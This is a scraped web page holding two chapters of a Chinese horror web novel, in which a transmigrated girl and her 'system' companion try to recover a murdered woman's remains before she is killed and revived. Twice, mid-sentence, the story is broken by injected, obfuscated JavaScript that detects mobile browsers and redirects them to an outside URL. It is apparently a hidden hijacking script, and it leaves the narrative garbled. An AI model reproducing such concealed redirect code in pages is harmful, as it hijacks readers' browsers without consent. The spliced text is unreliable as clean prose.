《枯骨生花》 3. 枯骨生花2 书被重重合上,风住烛灭,沈烛屏纷乱的心绪像棉花杂糅成一团,按得紧实透不过气,伸手揉了一下干涩的眼眶,泪水止不住地打落在书页,将陈年的墨迹晕开一小团。 一直躲在暗处观察的系统看不过去,出声安慰:“你也别太难过了,说不定……” 话音戛然而止,它也知道骗不了沈烛屏。 “这一切你是不是早就知道?这都是你安排的是不是?快把阿姐还给我!” 沈烛屏揪着脏污的头发——上面还有一小块的泥土——想要将那个声音从脑子里扯出来。 “宿主,这里的情况我事先也不知道,谈何安排?况且这里也只是一个副本,你做完任务就能离开,这里的人以后怎样自然也都与你无关。” 系统正色的声音又一次出现在脑海中,唤回了沈烛屏的神智。 “那我不想干呢?” “你会困在这里直到死亡,郑阿姐不可能复活,你和阿妞也会一直待在这里走上她的老路。” 冰冷的电子音残忍地割开她脑海的混沌,“那我怎么办才能救阿姐?” “人死不能复生,你是救不回她的。”系统对于沈烛屏的执着感到头疼。 “那我怎么能……” “因为机缘巧合,这是天机,我也不能告诉你。”系统快速打断她的问话。 “但你现在开始做上面发布的任务的话,你还有机会能保护好那个小女孩,也算完成和她的约定,全了这份情谊。” 月光绕过封死的窗台,从缝隙中挤进来,照亮了一个小角落,沈烛屏低垂着头,旁边映出的影子透出一股沉默。 “ 好,我做。” 门外传来树枝摇动的声音,一只眼睛安在漏光处,提溜转了一圈,仿佛确认完什么似的又离开了去。 不久,沈烛屏艰涩的声音在满室黑暗中清晰响起,“任务是什么?” 系统此时声调都有些上扬,仿佛带着几分孺子可教的欣慰,“第一个任务,调查清楚这里的情况;第二个任务,保护好阿妞。” “还有别的吗?” “没了。” 沈烛屏在脑海中跟系统大眼瞪小眼,“你不是系统吗?怎么什么都不知道。” “但我跟你一样,都是打工人啊!上面让我干嘛我就只能干嘛了。”系统无奈地回答。 “你上面的人是谁?” “上面的人是谁我不能说,但是我能告诉你,你再不去找那个小姑娘,她马上就要跟那个阿姐一样了。” “你怎么知道?你不是没什么本事吗?”沈烛屏怀疑地“看”向它。 “这个副本里所有活人的动向,我都知道。”系统洋洋自得。 沈烛屏暗骂一声,“她人在哪?” “山顶。” 沈烛屏将书放回原地,飞快地往山上跑去,她对这一片已经很熟悉了,知道从哪边走更快,也能不惊动守在院子外面的人。 “她来这里干什么?”沈烛屏翻墙进院子,躲在一个角落四处张望,想等近处巡逻的村民走远了,再伺机带人离开。 “找郑雅洁的尸骨吧?”系统回道。 听到这个名字,沈烛屏愣了一下,原来她叫郑雅洁么?真好听。 “那她现在在哪里?” “看到你们今天新侍弄的花苗了吗?她就躲在它对面的房子的阴影处。” 根据系统的指示,沈烛屏果然在那边看到一个布满阴影的角落,刚松一口气,正要找机会往那边挪去,却看见有几个村民在附近徘徊,阿妞藏身处不是很隐蔽,若迎面撞上,她肯定就要被抓了。 说时迟那时快,沈烛屏摸到身后一个空的木桶,用力地向远处扔去,木桶撞击到墙面破开滚落在地的声音,在寂静的黑夜中尤为刺耳。 阿妞正躲在墙角,听见逐渐逼近的脚步声,双手颤抖地拎起铲子举过头顶,忽然听见远处传来什么声音,几个巡视的村民快步离开,边走边喝道:“什么人?” 巡逻的人都被声音吸引过去,沈烛屏趁乱来到阿妞身边,捂住她的嘴要将她带离此处。 沈烛屏钳制着怀中人剧烈挣扎的双手,“你别动!我带你回去,这不是你该来的地方!” 阿妞上半身被禁锢得动弹不得,脚下用力,狠狠地碾她的脚,趁她力道放松,掰开她的手臂,站得远远的。 “我不回去,这儿就是我该来的地方!”阿妞神色坚定,“阿姐在哪儿,我就在哪儿。” “阿姐?” 看见沈烛屏疑惑的表情,阿妞心想,阿姐,看来你的眼光也没好到哪里去嘛。 虽然内心瞧不起沈烛屏,但她还是回道:“阿姐对我这么好,我不能让她死都没有一个好去处。” 来的路上,沈烛屏总觉得有什么事被忘掉了,对哦,阿姐说过,被祭祀的人都会被当做花的养料,埋在这里。 想再见一眼阿姐的心愈发强烈,但理智又告诉她应该履行和郑阿姐的承诺,好好照顾她,脑海里两个小人不停地在打架,沈烛屏一时不知该如何是好。 阿妞看见沈烛屏愣在原地,脸上的失落愈发明显,“我一个人去找阿姐就可以,你还是快点回去吧,别被他们抓住了。” 阿妞放缓了语气,靠在墙边的阴影处,寻找机会往白篱笆内走去。 “做你自己想做的吧。” 系统的声音在沈烛屏脑海中响起,莫名多了几分温柔。 “我来放哨,你们动作快点。” “好。”沈烛屏往前走去,声音带了些哽咽,“谢谢你。” 夜已经很深了,巡逻的队伍再有一会就会离开前院,进到别墅里去,只留下一小股人守在墙的外围。 “他们都离开了,你可以行动了。” 沈烛屏按照系统的指示,带着阿妞一起往玫瑰花丛中走去,早上刚除的草,现在又爆满了,在暗夜中闪着莹莹的绿光。二人凭着记忆找到今天新运来的花骨朵儿,现在已经开花了。 花下的土壤很松,不用怎么费力就能挖开,再往下一寸左右,就能看见一张灰扑扑面容狰狞的脸。 两人连着挖了两次都没找到郑雅洁,于是决定分头寻找。 沈烛屏将一张张脸从荆棘中解放出来,再拿泥土重新盖好。她们之中,有的是满头白发,有的是豆蔻年华,沈烛屏越往前去,内心越五味杂陈,但现在的形势容不得她想这么多。 在沈烛屏即将挖到这一列的尽头时,听到阿妞在黑暗中雀跃的声音。 “喂,你快过来,我找到阿姐了!” 沈烛屏往回走去,看见郑阿姐已经被挖出了半个头颅,玫瑰在她嘴中生长,茎上的刺割破她的嘴唇,细长的根从面皮下穿过,向暴起的青筋,将两颗眼球碾碎,露出一对黢黑的窟窿,她应当是最早埋下去的一批,肉眼可见头皮都被分解了大半。 见前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539636|203905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两日还对着自己言笑晏晏的人,现在在地下饱受摧折,沈烛屏拿起手中的铁锹,和阿妞一起往下挖。 天空中的云,渐渐聚积起来,遮住了月光,越往下挖,沈烛屏越看不清郑阿姐的样貌。 “啪嗒——”一滴水珠落下,砸在郑阿姐眼下干涸的血迹上,将那一抹红晕得更开。 “啪嗒啪嗒。”水珠滴落的声音更加响亮。 “下雨了!”系统和阿妞同时开口。 望着只挖出了半副骨架的人,沈烛屏和阿妞怎么也不愿放手,任凭系统在脑海中歇斯底里,“快走啊!他们出来了,正在往这边过来!” “沈烛屏!” “什么人!” 远处的灯光照过来,晃得沈烛屏更看不清底下的人,但手下的动作仍未停,“还差一点,就差一点点了。 好几个村民扔下伞,冒着雨冲过来,“住手!你们活腻了是不是?!” 听着越来越近的杂乱的脚步声,阿妞心急如焚,抛开工具,两只手挖开下面坚硬的泥土,“阿姐,快了,快了,我带你离开,我带你到蓝天白云底下去,我带你到绿草蓝湖边去,我……” 几人赶到,扑过来将两人踹开,看到刨出土地的半副尸骨,骂了一句晦气,将黏连着皮肉的骨架一脚踩碎,扔回坑里,随意地埋了起来。 身体止不住地滚动,撞到篱笆上才停止,沈烛屏扭头看,阿妞磕到头晕了过去。 沈烛屏嘴里说不出话来,只能愤怒地低吼一声,爬起身,撞向前面的两个男人,不住地嘶哑捶打着,奈何实力差距悬殊,一人扯着她的头发将她重重地摔到地上。 沈烛屏是被浓烈的血腥味熏醒的,睁开眼时一片漆黑,身上也动弹不得,她感觉自己应当是被绑在椅子上,不仅眼睛和嘴被蒙住,手脚也被捆住了。 身前传来打铁的声音,沈烛屏感受到有人摸了摸自己的脑袋,一根带着厚厚老茧的手指点在头颅的正中间,冰凉的温度一下一下敲打在头皮上,闹得人脊背发凉。 沈烛屏没忍住,将头扭开。 跟前的人来了兴致,“哟!醒的啊!醒着好!” 沈烛屏又听见铁器在石头上磨动的声音,其间夹杂着那个男人不屑的语气。 “你是王四他二闺女主吧?不知道你挖那个疯疯癫癫的臭婆娘干什么?冒犯了神明,谁来都救不了你。” 沈烛屏感觉到那个男人拿着一个尖锐的东西,在她头顶比划了一下,像是确定好了位置,拿起一把小锤子,开始慢慢地敲着。 铁的撞击声,耳朵的嗡鸣声和男人的唾骂不断地回响在室内。 “你也贱,再过几天,你爹就要把你嫁到王前家去了,你的好日子还在后头呢!真不争气!” 星星点点的唾沫溅在头上,沈烛屏全身的注意力都在集中冰得发烫的头顶。 寂静的室内出现一声清脆的、像西瓜裂开似的声音。 “啧,又是一个脆的。” 仿佛像是过了一个世纪那么长,沈烛屏感受到头顶冰凉的血,沿着脸颊滴落在胸前,一只手出现,将坚硬的铁从头顶拔出来,另一只手将嘴边的布条松开,钳住下颌,将软软的舌头拔出来,塞进一团柔软的泥土。 “你去找别人吧,这个任务我是完不成了。”沈烛屏心想,“我可真是个好人,要死了都还想着你。” 沈烛屏勉强在嘴边扯出一点弯曲,头一歪,没了声息。 4. 枯骨生花3 “确定使用该道具吗?” “确定。” 沈烛屏在一片混沌中隐隐听见了两种不同的电子音在对话。 刚想开口问,她现在是不是已经死了,到地狱该往哪条路走。 此时又是一阵天旋地转,晕乎乎的感觉逼得她想吐得紧,在寂静的黑暗中,系统的声音再次响起。 “哔——一切准备就绪。” “宿主——沈烛屏。” “副本——枯骨生花。” “重新开始!” “等等!!”沈烛屏在心中呐喊,“我不是死了吗?怎么又回来了?!” 系统在黑暗中发出幽幽的光,心情颇好,语气温柔却带了一点恶劣捉弄的意味。 “是死了哦,但你死的太轻易了,不做数要重来哦。” 沈烛屏额上青筋直跳,“你闭嘴吧!” 看着又一次鲜活起来的人,系统怔愣住,没接她的话,只余满心庆幸。 沈烛屏又被人叫起来,往山上走去,她对这一套流程已经颇为熟悉了。 踢开路边绊脚的小石子,见系统真的没有说话,她在脑海中敲了敲它,”我听到了,是你用什么东西换了我回来吧?” 脑海中微弱的光扑闪扑闪的,不一会儿就灭了。 沈烛屏心知它在装死,也不过多计较,兀自猜测:“我们之前也不认识吧?进入这个世界后虽说说过几句话,但关系也不深,你这个能救命的东西肯定很难得吧?我想不通,你救我干什么?” 上山的小道总是弯弯曲曲不成型,偶尔有几棵树挡在正中间,还需绕过去。 沈烛屏随手摘下几片叶子放在手里把玩,揉皱,搓成一团再扔掉,凑近还能闻到叶片留下的苦涩到刺鼻的味道,她是有很多东西不懂,但她也不是傻。 见系统还没有说话,就在沈烛屏以为它不打算理自己的时候,黑暗中点点绿光闪过,仿佛无声的轻叹。 “可能因为我和你很像吧,你不是想救郑雅洁么?我也有想救的人。” “谁啊?你家人么?” “嗯。” 家人,真是一个温暖的词,沈烛屏心想着,话语里也不自觉带上一点同病相怜的意味。 “那你为什么自己不去做任务?反而要寄宿在别人身上?” 沈烛屏不解,它自己做任务的效率不比靠别人快多了吗?若是她不愿意配合怎么办?这般想着,也就都说了出来。 “因为天行有道啊。”系统又恢复了它那欠揍的模样,神神秘秘地说道。 沈烛屏拉长脸,撇撇嘴,“听不懂。装什么神棍?” “我也不知道,可能就是天意吧。有些人死了就真的没了,哪里也找不到,有些人可能像我们这样,到了另一个地方,得想办法离开。而像我们这样的人,一部分会成为系统,一部分成为宿主,系统就寄存在宿主的脑海里,一起完成任务就能离开这个世界。”系统换了一个更通俗的话解释。 “那谁给你发布任务?” “不知道,它自己突然出现在我面前的。” “那什么时候才能离开这儿?” “也不知道。” 聊天的时间总是过得很快,尽管沈烛屏并没有得到什么有用的信息,没一会功夫,就到了山顶,望着远处连绵的群山,她心中陡然升起一股烦闷。 系统也没再说话,在旁边静静地看着少女将白体恤扎进裤子里,利落地挽了一个丸子头,下地去。 “晴姐。”沈烛屏轻快地喊了一声,看着眼前曾经和自己搭档过的人,对自己又回来这件事有了实感。 前面的女人仿佛被吓到,像弓似的背绷得越发紧,也不起身,只抻长脖子抬头看她,眼中有犹疑的光在闪烁,讷讷应着。 “嗯。” 晴姐风干的面皮上缀着两个窟窿,眼珠随着沈烛屏蹲下来的动作,提溜转着往下看,头也慢慢归位,沈烛屏看着心痒总想给她掰正过来,怎么之前倒是没觉得她这么奇怪呢? 不过这些都是次要的,当务之急,还是要先救她一命。按照郑阿姐的说法,不能破坏花苗,否则会被抓去祭祀。 在沈烛屏模糊的印象中,上次晴姐剪断头发时,应当是将花苗的叶子也一并剪了,那时她隐隐听见,一声细微的惊叫从她下巴上面那个孔洞溢出,但是又像没事人,接着干剩下的的活。沈烛屏初来乍到,虽然感觉氛围确是奇怪,但不以为意。 打定主意,沈烛屏同她小声交涉:“我来修剪草吧,你施肥。” 说着,接过她手中的小铲子和剪刀,往前挪了两步。 晴姐不语,配合着她的动作往后撤,但沈烛屏觉得她绷着的弦更紧了,转头对上视线,刚想笑一下,却发现那眼睛紧紧黏在她的身上,仿佛要射出激光似的,吓得她扭头忙活自己的事。 沈烛屏在脑海中敲了敲系统,“她现在怎么变成这样了?好奇怪。” 沉湎在回忆的系统被打断,没好气地回道:“哪个样?她不一直都这样吗。你以为谁像你,小命不保还高高兴兴的。” 沈烛屏想起冰冷的锥子紧贴头皮的感觉,浑身打了个哆嗦,甩甩头闭上嘴。 空气安静下来,系统还以为自己吓到她了,放缓语气安慰,“你也别太害怕了,我会带你出去的。” “怎么出去?”沈烛屏来了点兴趣。 “……” “又是那个什么天机,什么天道的,不能说?” 散发着微弱光芒的系统,在她脑海中沉默着上下摆动——点了点头。 沈烛屏也不计较,深吸一口气,闻到微风携过的一缕林木的香气,哼着不着调的曲儿埋头开始干。 又想到什么,沈烛屏转身问,语气带着一丝雀跃。 “你知道郑阿姐在哪里吗?” 枯槁的手指顺着玫瑰线往前伸去,沈烛屏看向她指的方向,接着问道:“她每日都会来么?” 晴姐嗓子有问题,仔细回想起来,沈烛屏似乎从未听过她说话,她看她低头按了一把肥料在地里,披散的头发下,硕大的头骨一点一点,从旁边看着,像一根不断摇晃的棒棒糖。 从她那里得到肯定的答案后,沈烛屏心里唯一的石头也落了地,长叹一口气,心中打定主意明早就换去同郑阿姐一起,这般想着,已经迫不及待了起来。 “明天我要换去跟她一组了,不知道你会跟谁一起,不管是谁,你记得都不要再碰剪刀了,就这样好好施肥,知道了吗?” 沈烛屏视线移到对方千沟万壑的脸上,像叮嘱小孩一般。 沈烛屏此时耐心是极好的,一想到明天就可以和心心念念的人重新认识,雀跃的快要飞起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539637|203905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她连明日将郑阿姐的全名写出来时,对方脸上震惊又赞赏的表情都想象出来了——郑雅洁的最后一个字还是她求了系统好久,他才肯告诉她的。 意料之中,晴姐没说话,停住手中的动作看向她。 “如果你听到了就点点头。” 棒棒糖又点了点。 沈烛屏心满意足,一下午都傻乐着度过了。 第二日,沈烛屏上山,一眼看见晴姐,高高瘦瘦的影子在那站着,虽然面色依旧蜡黄,但也是活生生的,心下松了一口气。 “霞姐,我想和郑阿姐一起。” 李霞在点人数时,沈烛屏的嗓音扬起,清脆地落在山顶上。 “谁在说话?”李霞只想快点处理完这些赶回家做饭,谁承想被沈烛屏拦住了,脸色很不好看。 众人纷纷从沈烛屏旁边散开,给二人让出一条路来,众多惶恐中夹杂着一丝看好戏的目光停留在她身上。 李霞上下扫视她一眼,面带不屑,“你说的没用,干活去。” 这情况倒是在意料之中,但拒绝得如此快还是让沈烛屏心凉了一下,她皱眉,“你都不问问她的想法吗?” 沈烛屏紧咬着两腮的肌肉,视线顺着李霞转移到郑阿姐身上。 郑阿姐僵笑着打圆场:“霞姐怎么说我们就怎么干吧,都听霞姐的。” 沈烛屏听见这话脑中嗡鸣,茫然无措地看着郑阿姐一帧一帧走进去的身影,想要喊住她,喉咙却被大手捏住一般,只能发出“嗬嗬”的声响。 也不知是自己是怎么进去的,指尖猛地一痛,唤回她回过神游的思绪,沈烛屏抬起手,发现被剪刀割出了一个豁口,看着鲜红的血液流动着滴落进泥土中,直至半凝固。 晴姐看了她一眼,抢过她手中的刀,抱膝走向前面,开始修剪杂草。 沈烛屏垂头丧气地跟在她身后,心里止不住地下雨。 一个圆球状的不明物体从水面浮出来,电子音响起。 “你再哭,我就要短路了。” “谁哭了,我才没哭。”沈烛屏默默反驳。 系统很识相地转移话题,“你是重新回来的,你有记忆,她又没有,听别人安排不是很正常吗?” 沈烛屏长叹一口气,早上刚扎好的高马尾也蔫了吧唧地耷拉在脖颈旁边。 系统不忍心,仿佛下定什么决心似的提出解决方案,“你放心,你和她肯定能再见的,大不了下山后去她家。” “你又不是不知道这里管的多严,万一半夜查人发现我不在家怎么办?” “我能感觉到附近有没有人,帮你躲开他们还不是轻轻松松,晚上快点赶回来就行。”系统绞尽脑汁,接着说。 沈烛屏眼神一亮,又低下了头,嘴里嘀嘀咕咕:“算了,她又不认识我。” 窗外树影森森,沈烛屏躺在床上,感受着溜进来的凉风,不知道几时才能和郑阿姐团聚,又想起小时候看过的戏剧,在脑海里把自己比作牛郎,郑阿姐比作织女,心有戚戚焉。 系统屏蔽了沈烛屏脑海的噪音,却没有地方可以躲雨,骂道:“有病。” 沈烛屏脑中的戏暂停了下来,只觉得委屈,“你语气就不能好点?” “真是一个小神经。”系统微笑着说。 至于后面有没有被雨浇得短路,倒是后话了。